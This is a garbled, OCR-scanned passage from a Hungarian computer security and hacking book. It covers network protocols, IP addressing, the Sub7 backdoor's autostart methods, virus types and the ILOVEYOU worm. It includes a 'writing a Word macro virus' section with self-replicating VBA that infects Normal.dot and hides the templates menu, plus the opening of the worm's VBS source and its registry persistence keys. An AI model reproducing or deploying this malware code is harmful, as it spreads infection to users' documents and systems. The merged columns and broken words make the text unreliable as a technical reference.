Address: a célállomás internetcíme. Itt van feljegyezve a fogadó lyeknek nincs olyan adathordozójuk, amelyben tartós, logikai c
címe. tárolni, és ezért mindig csak a fizikai cím ismeretével bootolnak
ontrol Message Protocol (ICMP) 3.3.1 A Telnet
eladata az üzenetek, például a hibaüzenetek közvetítése. Ugyan-
az IP-t, mintha maga is egy fölérendelt protokoll lenne, azonban A Telnetet az RFC 854 (Request for Comment, az internetfejles
kotórésze. kafeljegyzése, http://www.ietf.org/) a következőképpen defini
protokoll célja egy általános, mindkét irányra kiterjedő, 8 bit/bájt-orie
aüzenetekről, amelyeket az ICMP küld:
kációs lehetőséget nyújtani. A fő cél egy szabványos módszer létrehozás
eírás keken alapuló folyamatok összekötésére.
estination unreachable: a célállomás nem érhető el. 4 A Telnet tehát lehetővé teszi a felhasználóknak, hogy távoli s
puffer-erőforrások elhasználva. 5 jelentkezzenek be az interneten, és parancsokat hajtassanak végre
-elterelés. 11 Time exceeded: a timer mítógépeken. Sőt, a Telneten keresztül programokat is el lehet
Paraméter Problem: Paraméter-probléma. rendszereken, ehhez a Telnet egy terminált szimulál (szöveg, gra
Windows alatt egy Telnet-kapcsolat a következők szerint épü
eteinek listája
1. Windows 95/98 (és magasabb verzió) alatt kattintsunk a Sta
mire megjelenik egy kis párbeszédablak.
az információs üzenetekről:
2. Gépeljük be a telnet.exe sort.
eírás 3. Kattintsunk az OK-ra, a Telnet elindul.
cho reply 8
4. A szokásos módon tárcsázzunk be a szolgáltatónkhoz.
Time 5. Váltsunk vissza a Telnet-re.
ható.
e még egyszer az Enter-t.
pcsolatban vagyunk a szerverrel. A parancssort lehet látni, pl.
ubis2$, b3$ stb.
lehet írni a parancsokat.
Felépül
a Telnet-kapcsolat
A Telnettel az az egy
gond van, hogy minden
adatot kódolatlan
szövegként visz át. Mivel
a Telnet felhasználó-
azonosítást kíván (login-
név, jelszó), egy be- Egy kapcsolat létrehozásához, FTP-szervernek, illetve FTP da
tolakodó, ha beleolvas a futnia a célszámítógépen.
omba, nagyon könnyen megszerezheti a fiókadatokat. Az FTP-nek két fajtája van: a User-FTP és az Anonymus-FTP
nél a felhasználónak a login-nevével és a jelszavával kel
bejentkeznie. Az Anonymus FTP-nél bárki bejelentkezhet a sze
FTP névként többnyire Anonymus-t, és jelszóként egy e-mail-címet k
zel az FTP-szerver nyilvános részéhez kapunk hozzáférést. Az A
ávoli rendszerek közötti adatátvitel egyik módszere. Az FTP-t az fontos szolgáltatás az interneten, mert általa a programok vagy a d
for Comments, biztonsági kézikönyv) így mutatja be: Az FTP fel- minden internet-felhasználó számára elérhetők.
(programok és/vagy adatok) közhaszmú átvitele, 2. távoli számítógépek
mplicit (programokon keresztüli) használatának az elősegítése, 3. a Az FTP biztonsága
szerek fájlrendszerei közötti strukturális különbségekből adódó vesződ-
olása és 4. adatok megbízható és hatékony átvitele. Bár az FTP-t egy Az FTP nem túl biztonságos protokoll, s különbözőképpen tá
vetlenül is lehet használni, elsősorban programokon keresztüli haszná- a legfontosabb támadási formák.
ék.
adatátvitel egy FTP kliensen keresztül történik, ilyen például a Jelszótámadások
y a WS_FTP. A kliens egy kérdést küld a távoli számítógép FTP
Ezt a kérdést a 21. porton keresztül teszi fel. Az FTP igen alkalmas a jelszavak kipróbálására, mivel a szabvá
cióban nincs korlátozás a jelszavak beírására, tehát akárhányszor m
a jelszót. Ezt a támadást Brute Force-rohamnak is nevezik.
szervereknél ki lehet találni az érvényes login-neveket. Ha valak
login-nevet ad meg, akkor a szerver hibakóddal válaszol.
ffing jelszófájlt. De az IRC-parancsokból is sok információt tudhat me
TP kódolatlan szövegként továbbítja az adatokat, ha egy betörő felhasználóról, amelyek a segítségére lehetnek a további támadás
lózati forgalmakba, felhasználói adatok birtokába juthat. Erről a veszélyt jelenthet a fájlcsere is, ahol mindig szívesen küldenek t
óló fejezetben további részleteket tudhatnak meg. rusokat (ld. a trójaiaknál). A legnagyobb veszélyt azonban maguk
ve a szerverprogramok jelentik. A rosszul konfigurált kliensprog
eltöltés több elérést engednek meg a szervereknek a helyi erőforrásokra
mint amennyi tanácsos volna.
erverre lehet Anonymus-belépéssel szoftvert feltölteni (upload). Egy
módon manipulált szoftvert helyezhet el a szerveren (vírus, trójai).
3.3.4 Az IP-címzés
IRC A címzés az interneten az IP-címzésen alapul. Az interneten
rás egy egyértelmű számmal, az IP-címmel érhető el. Az IP-címek
ternet Relay Chat) az e-mail mellett az egyik legkedveltebb szol- archikus, ami azt jelenti, hogy egy ügyfél a szolgáltatójától kapja
erneten. Többrésztvevős valós idejű konferenciákat tesz lehetővé. ges IP-címet, a szolgáltató megintcsak a hálózattól kölcsönz
felhasználók, szervertől függően (IRC szerver, pl. irc.euirc.net), a amelyre csatlakozik, miközben a hálózatok üzemeltetői időbeli
bb csatornákon (channels) lehetnek. A beszélgetésekhez ma már kül, blokkokban kölcsönzik IP-címeiket, az IP Numbering Autho
kliens valamelyikét használják. A legismertebbek közé tartoznak pában a RIPE (http://www.ripe.net/) felelős az IP-címek kiosz
hC és a pIRCh.
IRC-felület Hogyan néz ki egy IP-cím?
A jelenleg használt IP-protokoll az IPv4. Minden IP-cím 32
vel az ilyen számkombinációk igen körülményesek, többnyire a p
írásmódot használják, amelynél a 32 bit 8 bitekre van felosztva,
mális számként írják le. Eszerint egy IP-cím négy bájtból áll:
11000010 01001101 01111100
194 77 124
Pl: 11000010 128 64 32 16 8 4
1 1 1
0
0
0
1
álóan alkalmas a Social Engineering-re. Leginkább az újoncok ve- Minden kvadráns egy 0 és 255 közti számot reprezentál, íg
hogy bizonyos parancsokat, amelyeket a chat-en mondott nekik szegmenssel elméletileg több mint négymilliárd (pontosan: 4 29
ajtsanak. Egy támadó elküldetheti például e-mailben magának a met lehet kezelni.
ti osztályok
kiderült, hogy négymilliárd IP-címet nagyon nehezen tud egyet-
kezelni. Címek Leírás
ntesítés céljából az InterNIC, amely a 90-es évek elején átvette az x.x.x.0 és Minden IP-címben a negyedik szegmensben a 0 és 255 érték
elését, az egyes IP-címterek kezelését nemzeti NIC-eknek és x.x.x.255 szertől függően zárolva vannak; a 0 a subnet megnevezésé
knak adta át, amelyek, az InterNIC-től függetlenül, önállóan alatt a negyedik negyedben minden gépet értünk 1 -254-ig), a 255 a negyed
a hozzájuk utalt címtartományokat. Így jöttek létre a hálózati osz- broadcast-címként szolgál (ezzel az értékkel érhető el egy subnet minden sz
a.bbb.x.x), amelyekben csak az első negyedet határozza meg egy 127.x.x.xx Minden IP-cím, amelynek ez az első szegmense, TCP/IP viss
ék háromnegyedet szabadon lehet kiadni. hurokként szolgál. TCP/IP-installációk tesztelésére szolgálnak a számítógépe
pinggel egy tetszőleges 127-es címre). 10.x.x.x Ez az A-osztályú há
gfelelően a négymilliárd IP-címet ismét három osztályba sorol-
internetre kapcsolódó intranet helyi gépei számára van fenntartva. Ezen az
és C-osztályú hálózatokba.
hálózaton belüli IP-címeket csak az intraneten belül lehet routolni. 172.16.x.x
Leírás B-osztályú hálózat ugyancsak egy internetre kapcsolódó intranet 172.31.x.x-i
Az A-osztályú hálózatok az első negyedben 1 és 126 közötti értékeket gépei számára van fenntartva. E B-osztályú hálózatokon belüli IP-címeket cs
A-osztályú hálózatok tulajdonosai az InterNIC-től (ami most is minden A- intraneten belül lehet routolni. 192.168. Ez a 256 C-osztályú hálózat u
ot kezel) kapják az első negyedet, és az IP-cím fennmaradó 24 bitjét internetre kapcsolódó intra-00192.168. net helyi gépei számára van fennt
k ki. Az A-osztályú hálózatokat azonban mára már mind kiosztották, C-osztályú hálózatokon 255.255-ig belüli IP-címeket csak az intraneten b
at létesíteni az interneten. aaa.bbb.x.x A B-osztályú hálózatok első routolni. 224.x.x.x239. Az 1. negyed értékek 224-239-ig a multicast-címe
-191-ig vannak értékek, és a második negyedben van a 0-255-ig egyetlen x.x.x-ig meghatározott hálózatot sem definiálnak és több cím
ékterület. A B-osztályú hálózatok tulajdonosai a két első negyedet biztosítják az adatcsomagok egyidejű átvitelét. Ezeket időnként D-osztálynak i
észen kiosztva kapják, és a maradék 16 bitet adhatják ki maguk (ez 240.x.x.x255. A jövőbeli fejlesztésekhez zárolva vannak még az 1. szegmens
65536 különböző IP-címet jelent egy B-osztályú hálózaton belül). x.x.x-ig 254-ig. így a négymilliárd elméletileg rendelkezésre álló IP-c
A C-osztályú hálózatok első negyedében 192-223-ig vannak értékek, és már csak egy „töredéke" marad. Már ma is szűkösen megy a B- és C- oszt
m kvadránsban megint a teljes értékterület tartozik 0-255-ig. A C- címek kiadása, mivel a szabad számkészlet mindig kisebb lesz. Ezért van be
tok tulajdonosainak az első három szegmenst (aaa.bbb.ccc.x) az Ipv6 IP-címzési rendszer, amelyben egy IP-cím a mostani 32 bit helyett 12
negyedikről szabadon rendelkezhetnek (ez kiszámolva 256 különböző állni.
Foglalt IP-címek
yú hálózatok
A trójai portok
Önfertőzés ügyetleneknek
Azoknak a hobby-hackereknek, akik kísérletezés közben saját magukat Pillanatkép egy trójairól
fertőzik meg trójaival, a következő tanácsot tartja készenlétben az internet:
„Ha az ember az első fertőzési kísérleteknél saját magát fertőzi meg, akkor
egyszerűen kliensként összeköttetésbe lép saját magával (a saját gép IP-je 4.4.1 Támad a Sub7
mindig 127.0.01!), fogja, és törli a szervert!"
A Sub7 tágabb értelemben egyfajta távkarbantartó programhoz hasonlít-
ható. A távkarbantartó szoftver, azaz a remote access tool vagy remote
4.4 Sub7 - egy trójai rémisztő lehetőségekkel administration tool, a rendszergazdák távkarbantartó és konfigurációs mun-
káját könnyíti meg a hálózatba kötött számítógépeken, nagyobb hálózatok-
A Sub7, egy backdoor-trójai, 1999 márciusában került a hálóra az első ver- ban. Ismert remote access program pl. a PCAnywher a Symantectől.
ziókban, egy Mobman álnéven működő programozó „válaszaként" a NetBusra Destruktív módon felhasználva, egy ilyen szoftverrel a teljes ellenőrzést
és a BackOrifice-vz. Azóta ez a backdoor-tool folyamatosan tökéletesedik és új át lehet venni egy fertőzött számítógép felett. Ez azt jelenti, hogy a megfe-
funkciókkal bővül. A Sub7 a legkomolyabb és a neten legelterjedtebb trójaiak lelő kliens tulajdonosa minden olyan funkciót végrehajthat a fertőzött gé-
közé tartozik. Hogy világszerte milyen sok rendszer volt Sub7-tel fertőzött, pen, amit a gép tulajdonosa is megtehet. Az egyes funkciók későbbiekben
illetve hogy még most is az, azt az úgynevezett portszkennek mutatják, ame- történő említése bizonyosan hozzá fog járulni az ilyen szoftverből eredő
lyek „több mint elég" fertőzött rendszert jelentenek. potenciális veszélyek felméréséhez.
Egy olyan trójai, mint a Sub7, több fájlból áll, amelyek egymáshoz kap-
csolódva gondoskodnak a támadó gép és a fertőzött gép kapcsolatáról.
A Sub7 szervere Pillantás a Sub7
váltóközpontjára
A szerver ahhoz szükséges, hogy a műveleti konzolok (kliens) között
kapcsolatot teremtsen, és irányítsa a fertőzött gépet. Ennek a modulnak te-
hát feltétlenül telepítve kell lennie az irányítandó rendszerre ahhoz, hogy
Sub7-es fertőzöttségről lehessen beszélni.
Klasszikus változat az automatikusan indítandó programok indítására az Néhány ritka trójai a Windows 95/98-s rendszerek eszköz-meghajtója-
autostart (Indítópult)-mappa. Ez az indítási lehetőség azonban nagyon való- ként is álcázza magát. Ezeket a trójaiakat azonban nehéz realizálni, és sze-
színűtlen, mert nagyon nagy a felfedezés valószínűsége. rencsére nagyon ritkák is. A config.sys szintén a sysedit.exe-vel lelhető fel.
Az Indítópultot a következőképpen lehet ellenőrizni: közvetlenül a Start
menüből: Start Programok Indítópult vagy C:\Windows\Startmenu\Progra- winstart.bat vagy control.ini - lehetséges, de nagyon ritka
mokMndítópult. Az olyan rendszereknél, mint a Windows NT, a mappát a
felhasználói profilokon keresztül lehet megtalálni (C:\WinNT\Profiles\ Ha a winstart.bat-ban felismerhető egy bejegyzés, ez rendszerint azt je-
Username \Startmenü\Programok \Indítópult). lenti: egy parancssor egy fájl másolását írja elő, amelyet az utolsó rendszer-
Itt aztán szokatlan dolgok után kell kutatni, és esetleg programokat, il- indítás előtt töröltek. Eddig alig ismertek olyan trójaiak, amelyek ezt az
letve parancsikonokat kell törölni, amelyeket nem ismerünk, és egy trójait utat használnák. A control.ini-ben is el lehet helyezni egy bejegyzést az au-
indíthatnának el. tomatikus indítás céljából- de ez is nagyon ritka.
Vannak még az úgynevezett „Unknown-módszerek", illetve a Win- Registry Common Startup kulcs
dows-regisztráció, a shell paraméterrel.
Itt is a Windows Registryt használják a program automatikus indításá-
hoz. Ezek alatt az útvonalak alatt a következő bejegyzések találhatók:
A bejegyzés általában
Ez alatt az útvonal alatt található a szerver is.
Eszközmeghajtónak álcázás
Egy trójai, mint már említettük, eszközmeghajtónak is álcázhatja magát.
Ilyen esetben nem egyszerű a pontos azonosítás. Végülis lehet az egy való-
di meghajtó is, aminek a törlése rendszerproblémákat okoz. Itt is egy
Registry-be került bejegyzést keresünk, azonban egy „szokatlan" path-on:
4.6.4 Módszerek az Explorer.exe-vel a C:\ meghajtóra
Egy bug miatt a Windows először mindig az első, megtalált explorer.exe-
t futtatja le (kétséges esetben a C:\ könyvtárban), mielőtt a tulajdonképpe-
ni explorer.exe (C:\windows\) elindulna. Az explorer.exe a C:\ -n azt eredmé-
nyezhetné, hogy legközelebb egy trójai töltődik be, amely a
C:\windows\system könyvtárban vagy máshol található.
5.1 Alapok
5.1.1 Defektes cluster mint álcázás
5.1.2 Miről ismeri fel a vírusvizsgáló a vírust?
5.1.3 Videokártyák - az elvetemült támadók búvóhelyei?
5.2 A vírus felépítése
5.3 Hogyan fertőz meg a vírus egy fájlt?
5.3.1 Így fertőznek a bootszektor vírusok
5.3.2 A dropper vírust helyez el
5.4 A legfontosabb vírustípusok rövid áttekintése
5.4.1 Bootszektor vírusok
5.4.2 Companion vírusok
5.4.3 Killerprogramok
5.4.4 Logikai bombák
5.4.5 Makrovírusok
5.4.6 Hálózati vírusok
5.4.7 Polimorf vírusok
5.4.8 Stealth vagy rejtőzködő vírusok
5.4.9 TSR fájlvírusok
5.4.10 Update vírusok
5.4.11 Férgek - az ILOVEYOU és társai
5.4.12 Időzítők
5.5 Word makrovírus írása
5.5.1 Minden ténykedés központja - a Normal.dot fájl
5.5.2 Modul vagy osztálymodul?
5.5.3 Vírusok kontra ServiceRelease
5.5.4 Modul makrók
5.5.5 Ilyet is lehet: a vírus egy Payload-ot hív meg
5.5.6 A vírus fájltulajdonságokat vagy
szövegtartalmakat változtat meg
5.5.7 A vírus jelszóval védi a fájlt
5.6 Megfertőzött osztálymodulok
5.7 ILOVEYOU
1385.7.1 Mi az a féreg?
5.7.142 A működési mód
5.7.3 Hogyan tudott a féreg elterjedni?
5.7.4 A forrás - kommentárokkal
5.1 Alapok
5.4.5 Makrovírusok 3. „A" kolléga néhány programot a hálózaton futtat, ezek is megfertőződ-
nek. A hálózat egy DOS-eszközt emulál, ez azt jelenti, hogy fájlok olvasá-
A makrovírusok olyan vírusok, amelyek adatfájlokat fertőznek meg. sa és írása ugyanolyan módon történik a szerveren, mint lokálisan. A ví-
Makrovírusokat jellemzően Microsoft Word dokumentumokban (.doc vagy .dot rusnak tehát nem kell a szokásostól eltérően viselkednie ahhoz, hogy a
végződéssel) és már Excel fájlokban is találunk. Amint megnyitunk egy fertő- szerveren is meg tudjon fertőzni fájlokat.
zött Word dokumentumot, az megfertőzi a Normal.dot fájlt. Ha ezután egy do- 4. „B" kolléga bejelentkezik a szerverre, és végrehajt egy fertőzött fájlt. A ví-
kumentumot mentünk vagy nyitunk, az is megfertőződik a vírussal. A rus „B" kolléga gépén is memóriarezidens lesz.
makrovírusok például egy másikra tudják cserélni a Mentés parancsot, a felhasz-
5. „B" kolléga több más programot futtat saját, helyi merevlemezén és a
nált programnyelv alapján adatokat tudnak törölni vagy módosítani. Hogy a
szerveren. Valamennyi végrehajtott fájl megfertőződik.
makrovírusok hogyan működnek, milyen parancsokat tudnak kiváltani, és mi-
lyen trükköket vetnek be álcázásként, az a későbbiekben fog kiderülni. 6. „C", „D" és „E" kollégák bejelentkeznek, és futtatják a ferőzött fájlokat.
7. ...és így tovább.
5.4.6 Hálózati vírusok Másképp történik a fertőzés az olyan vírusoknál, amelyek elküldik magukat
a mail-címjegyzék minden címére. Itt elég, ha „A" kolléga lefuttatja a fájlt, és a
Speciális hálózati vírusokból még kevés van, azonban a legtöbb vírus hálóza- címjegyzékéből minden kollégája kap egy mailt a vírussal. Ha ezek a kollégák
ton is tud terjedni. A klasszikus hálóvírusok az úgynevezett férgek. Ezek a víru- ugyancsak megnyitják a mellékletet, minden kezdődik elölről. A különböző
sok nem programfüggelékként terjednek a rendszerekben, hanem önállóan címjegyzék-bejegyzéseken keresztül a vírus gyorsan eljut az üzletfelekhez, ba-
tudják reprodukálni a saját kódjukat, és önálló programként tudják lefuttatni rátokhoz stb., és így lavinát vált ki. Az ILOVEYOU a maga idejében pontosan
magukat. ilyen vírus volt. Más sajátosságai mellett saját magát szaporította. Még kompu-
tercégeknél is egész részlegeket bénított meg, mert a mailforgalom egyfolytá- fájlokat; azonban van néhány eszközmeghajtó vírus is. Egyes vírusok overlay
ban növekedett, és minden további futtatás ismét elindította a küldést. fájlokat (programok lapozófájljai) fertőznek meg, ezek az *.OVL fájlok, és a vég-
rehajtható programoknak sem feltétlenül kell COM vagy EXE kitérjesztésűek-
nek lenniük, bár ez az esetek 99%-ára igaz.
5.4.7 Polimorf vírusok Ahhoz, hogy egy TSR vírus terjedni tudjon, valakinek le kell futtatni a fer-
tőzött programot. A vírus memóriarezidenssé válik, és általában minden utána
Az antivírus programok leggyakrabban használt fajtája a szkenner, amely a elindított programot megvizsgál, hogy megfertőzze, ha az még nem fertőzött.
víruskódok egy bizonyos repertoárja után kutat. A vírusprogramozó ezt a prog- Egyes vírusokat gyorsan fertőző vírusoknak is neveznek. Az ilyen vírusok már
ramot szeretné a legjobban becsapni. A polimorf vírus olyan kártevő, amelyből akkor megfertőznek egy fájlt, ha csak megnyitjuk azt (például egy adatmentés-
egy helyen nem fordul elő két másolat, amelyek ugyanazt a bájtsorozatot tar- nél bizonyos körülmények között minden fájlt megnyitnak, amit a meghajtó
talmaznák. Ezért egy ilyen vírust nem lehet egyszerűen egy meghatározott tartalmaz.) Az első gyorsan fertőző vírus a Dark Avenger volt. A Green
bájtsorozatról felismerni, ennél sokkal összetettebb és nehezebb feladatot kell Caterpiller fertőzőrutinját viszont minden olyan folyamat kiváltja, amely meg-
megoldania annak, aki el akarja csípni. határozza, hogy milyen fájlok állnak rendelkezésre az adathordozón (pl. a DIR
parancs). Használnak még más fertőzőrutinokat is, de a legtöbb esetben egy
program csak akkor fertőződik meg, amikor végrehajtják.
5.4.8 Stealth vagy rejtőzködő vírusok
Ha egy vírus memóriarezidenssé tud válni, ami pedig a komputeres világban 5.4.10 Update vírusok
megjelenő vírusok 99%-ára igaz, akkor legalább egy interruptot fogni tud. Ha
bootszektor vírusról van szó, akkor az a 13h interruptot használja (az adathordozók Az update vírusok különösen ravasz kórokozók. Családokra oszlanak, és eze-
olvasása/írása). A stealth vírusoknál viszont, ha egy tetszőleges program megpró- ket többnyire egyetlen programozó vagy egy csoport fejleszti. A hex pattern
bálja olvasni a bootszektort, a vírus azt mondja magában: „Aha, itt valaki látni mellett ezek a vírusok nemcsak egy verziószámot tartalmaznak, hanem egy
akarja a bootszektort. Egyszerűen beolvasom az eredeti bootszektort onnan, aho- update rutint is, amely ellenőrzi, hogy a vírus fellépett-e már valamely verziójá-
vá eltettem, és aztán a fertőzött bootszektor helyett az eredeti tartalmát prezentá- ban. De ez még nem minden: a rutin azt is megvizsgálja, hogy a fájlok tartal-
lom. Hi-hi." Ezáltal a lekérdező programnak semmi szokatlan sem tűnik fel. mazzák-e már a vírus egy régebbi verzióját. Ha igen, akkor lecseréli ezeket. Ha
Az 1986-ban készült Éráin vírus volt az első olyan, amelyik ezzel a trükkel dol- újabb verzió van telepítve, akkor ezzel nem fertőz újra.
gozott. A fájlvírusok, mint amilyen a Frodo, hasonló trükkel szintén el tudják tit-
kolni a létezésüket úgy, hogy minden program, amely a fájlt olvassa, csak azokat a
bájtokat látja, amelyeket az a vírusfertőzés előtt tartalmazott. Az ilyen álcázási ké- 5.4.11 Férgek - az ILOVEYOU és társai
pességek azonban gyakrabban figyelhetők meg bootszektor vírusoknál, mint fájl-
vírusoknál, mert egy bootszektor vírushoz sokkal egyszerűbb álcázórutint írni. A komputerférgek olyan programok, amelyek önállóan tudnak egy hálóza-
ton terjedni. Ezeknél nem klasszikus vírusról van szó, hanem azzal rokon zava-
róprogramokról, amelyek azonban vírust is tartalmazhatnak. A férgek önálló
5.4.9 TSR fájlvírusok programok, amelyeknek nincs szükségük arra, hogy gazdaprogramokhoz fűz-
zék magukat. Többnyire több, egymáshoz kapcsolódó programszegmensből
A második leggyakoribb vírusfajta a TSR fájlvírus. Mint a neve is mutatja, az állnak. A komputerférgek saját magukat tudják reprodukálni, és hálózati funk-
ilyen típusú vírus fájlokat támad meg, azok közül is általában a COM és az EXE ciók segítségével más számítógépekre másolódnak.
5.4.12 Időzítők hogy aktiválja-e a makrókat is. Ez a kérdés azonban csak erre a dokumentumra
érvényes, ezért kell a fertőzéshez a Normal.dot-ba másolni a makrovínisokat, és
Az időzítők a vírusok speciális kioldómechanizmusai. A vírusprogramon be- a Normal.dot-ból minden, még nem fertőzött DOCfájlba. Ez a makrovírus alap-
lül egy rutin lekérdezi a rendszeridőt. Ha az elér egy rögzített értéket, kiváltja a Ötlete.
vírus akciótartalmának a végrehajtását. A feltétel lehet a bekapcsolástól számí-
tott időtartam vagy egy előre meghatározott dátum. Elméletileg így például
születésnapi üdvözletet lehet valakinek küldeni, amely a szóban forgó napon 5.5.2 Modul vagy osztálymodul?
automatikusan elindul. A naptári dátumok mellett olyan rutint is lehet használ-
ni, amely minden nap, ugyanabban az órában indul el. Az időzítők feltételeinek A vírusok mindig egy osztálymodulban vagy egy modulban vannak. Egy modul
a választéka szinte határtalan. elkészítéséhez az Eszközök/Makró/Visual Basic-kel megnyitjuk a Word
makroszerkesztőjét. Itt a Beszúrás menüből kiválasztjuk, hogy Modulról vagy
Osztálymodulról, esetleg UserFormról lesz-e szó. A UserFormok a makroprog-
5.5 Word makrovírus írása ramozás szempontjából nem érdekesek, a modulok és az osztálymodulok a fon-
tosak. Ezekbe kerülnek az önálló projektrészek, amelyeket bárhol újra elő lehet
Biztos, hogy mindenki látta már a Word megerősítő kérdését, ha valakitől venni. Először a modulokban lévő makrovírusokkal foglalkozunk.
egy olyan dokumentumot kapott, amelynek a sablonjában makrók voltak. Le-
het, hogy a makrók engedélyezésére kattintott, vagy kétkedőn a tiltásukat vá-
lasztotta, de biztosan nem volt a tudatában annak, hogy milyen veszély bújik 5.5.3 Vírusok kontra ServiceRelease
meg mögöttük. A következő oldalakon sok minden kiderül a Word
makrovírusok programozásáról. Itt különösen fontos tudni, hogy milyen trük- Az SR-1 a Microsoft egy ServiceRelease-e, amely a WordBasicben elérhetet-
kökkel álcázhatják a programozók a programjaikat, és milyen potenciális veszé- lenné teszi a MacroCopy és Application OrganizerCopy parancsokat, de egy vírus-
lyeket hordoznak ezek. Ha ezzel valaki meg tud úszni egy Word makrovírust író erre mindig talál megoldást.
vagy legalább felismeri azt, már megérte az ismertetés. Íme, a vírusspecialista
Aciidfreak útmutatója, valamennyire módosított formában.
Aki tud VB-ben programozni, annak nagyon egyszerű a makrók írása. 5.5.4 Modul makrók
A VBA lassú, de hatalmas. Minden parancsnak a birtokában van, amit a VB
alatt is használni tudunk, és minden API-funkciót is ismer (API = Application Az alábbiakban megtalálható minden, amire egy Word makrovírushoz
Programming Interface). szükség van, de hangsúlyozzuk, hogy az egészet csak tájékoztatásnak szánjuk,
nem pedig megvalósítás céljára.
Attribute VB_Name = "demo"
5.5.1 Minden ténykedés központja - a Normal.dot fájl
Sub AutoCloseQ
A Word minden indításkor betölt egy globális fájlt, a Normal.dot-ot. Ebben On Error Resume Next
a fájlban lehetnek a makrók, amelyek azután minden dokumentumra érvénye- Application. VBE.ActiveVBProject. VBComponents(" demo").Export
sek. Ezt a fájlt támadják meg, hogy a Wordot megfertőzzék. Ha a Word fájlok "c:\demo.sys"
makrót tartalmaznak, akkor ezek a fájl megnyitásakor rendszerint ugyancsak For I = 1 To NormalTemplate.VBProject.VBComponents.Count
megnyílnak és aktívvá válnak. De a Word idegen szövegeknél megkérdezi,
If NormalTemplate.VBProject.VBCpmponents(I).Name = "demo" Then If NormalTemplate. VBProject. VBCpmponents(I).Name = "demo " Then
NormInstall = True Normlnstall = True
Next I Ha a Normal.dot-ban van egy modul, amit demo-nak hívnak (tehát a ví-
rus), True-ra állítja a NormalInstall-t.
For I = l To ActiveDoctiment.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "demo" Then Next I
ActivInstall = True A For cikluson belül a következő értékre lépteti a ciklusváltozót.
Next I For I = 1 To ActiveDocument. VBProject. VBComponents. Count
If ActivInstall = True And Normlnstall = False Then Set Dobj = Ez egy For ciklus. Annyiszor ismétli meg a For és a Next közötti kódot,
NormalTemplate. VBProject_ ahány modul található az aktív dokumentumban.
Else If ActivInstall = False And Normlnstall = True Then Set Dobj =
IfActiveDoaiment. VBProject. VBComponents(I).Name = "demo" Then
ActiveDocument. VBProject ActivInstall = True
Dobj. VBComponents.Import ("c: \demo.sys") Ha az aktív dokumentumban van egy modul, amelynek a neve „demo"
End Sub (tehát, mint a vírusé), True-ra állítja az Activlnstall-t.
CommandBars("Tools"). Controls("Templates and Add-lns... ").Delete A Word kérdését, hogy a makrókat lefuttassa-e, a következő paranccsal le-
Kiveszi a sablonokra és a bővítményekre vonatkozó menüparancsokat. het kikapcsolni a Registry-ből.
A féreg manipulálta még a következő Registry-bejegyzéseket: • Thank You For Flying With Arab Airlines
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run • Variant Test
\MSKernel32 • Yeah, Yeah another time to DEATH...
HKEY_LOCAL_MACHINE\Sofrware\Microsoft\Windows\CurrentVersion\Run
• LOOK!
Services\Win32DLL
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run • How to protect yourself from the ILOVEYOU bug!
\WN-BUGSFIX
Az Amable Mendoza Aguila Computer College-ben, a Spyder nevet használó
Miután lefuttatták, automatikusan elküldte magát a címjegyzék e-mail- hacker munkahelyén 10 személyt gyanúsítottak azzal, hogy részt vettek a Bárok
címeire. Így nagy forgalom keletkezett a cégek belső hálózati mailszerverein, 2.1 szoftver fejlesztésében.
aminek következtében néhány céges hálózatnak teljes egészében le kellett Időközben a hackereknek volt idejük, hogy minden döntő bizonyítékot tö-
röljenek a gépeikről, míg a hatóságok napokon át semmit sem tettek.
mondania a mailküldésről.
A féreg az Outlookon és a mIRC-en keresztül is terjedt. Úgy módosította a A féreg, hivatalos számok szerint, 600 ezer számítógépet ért el, a nem hiva-
mIRC script.ini fájlját, hogy egy csatorna minden látogatója, amelyek között ott talos számok azonban ennél jóval magasabbak, mivel ezekbe a statisztikákba
nem kerülnek be a magánfelhasználók gépei. A károkat több milliárd dollárra
volt a fertőzött is, megkapta a .vbs fájlt,
A legdestruktívabb azonban az a tény volt, hogy minden js, .jse, .css, .wsh, becsülték, s ez az érintett szerverek tisztán materiális kiesési ideje, a rendszer-
.sct, .hta, .vbs, .jpeg, .jpg fájlt használhatatlanná tett, illetve elrejtette az .mp3 és gazdák félelmeit és feldühítését még egyáltalán nem számoltuk. Két prominens
áldozat is volt: a ZDF tévéadó és az Expo-világkiállítás. Sok cég megelőzéskép-
az .mp2 fájlokat.
pen leválasztotta mailszerverét a netről.
Az eset egyedüli nyertesei az antivírusok gyártói voltak, akiknek a részvényei Az On Error Resume Next-tel a hibakezelést vezeti be: ha a program futtatása
10%-kal is emelkedtek. közben hiba lép fel, akkor a következő lépéssel kell folytatni, hibaüzenet nélkül.
Ezután definiál néhány változót, ezekkel a változókkal fog a későbbiekben dol-
gozni.
5.7.3 Hogyan tudott a féreg elterjedni?
Set so = CreateObject("Scripting.FileSystemObject")
A féreg terjedésének az alapja az volt, hogy manapság, főleg az internetes set file = f s o . Open TextFile (Wscript. ScriptFullname, 1)
vbscopy=file.ReadAH
újoncokban, nem tudatosulnak a hálóval kapcsolatos veszélyek.
Ennek a féregnek semmi esélye sem lett volna, ha minden végfelhasználó A program ezután egy FileSystemObject-et (fso) hoz létre. Ezzel az objek-
tudott volna a Visual Basic Script veszélyeiről. tummal lehet fájlokat elérni. A következő sorban ez meg is történik: a program
Sokan azt hitték, hogy csak a végrehajtható fájlok, mint az .EXE vagy a az OpenTextFile-lal és az azután következő ReadAll( ) -lal beolvassa magát a me-
.COM fájlok jelenthetnek veszélyt. Az, hogy ActiveX-kontrollok és más móriába.
scriptek is veszélyesek lehetnek, még nem ismert általánosan. Az ILOVEYOU
main( )
vírus téma a múltban nagyon gyakran szerepelt a médiában, de sehol nem je-
sub main( )
lent meg róla még felvilágosítás, nemhogy egy analízis háttérinformációkkal a
On Error Resume Next
felhasználók számára.
dim Tvscr,rr
Ellenintézkedésként ajánlkozik a WindowsScripting hostok eltávolítása
uninstall-lal, és a Registry-bejegyzések eltávolítása, valamint a *.vbs fájlok törlése a setivscr=CreateObject("Wscript.Shell")
Windows és a Windows/System könyvtárból. rr=scr.Regread(''HKEY_CURRENT_USER\Software\Microsoft\Windows
ScriptingHost\Settings\Timeout")
if (rr>=l) then
5.7.4 A forrás - kommentárokkal wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows
Scripting Host\Settings\Timeout",0, "REG_DWORD"
end if
A továbbiakban az ILOVEYOU vírus forráskódja látható, de hangsúlyoz-
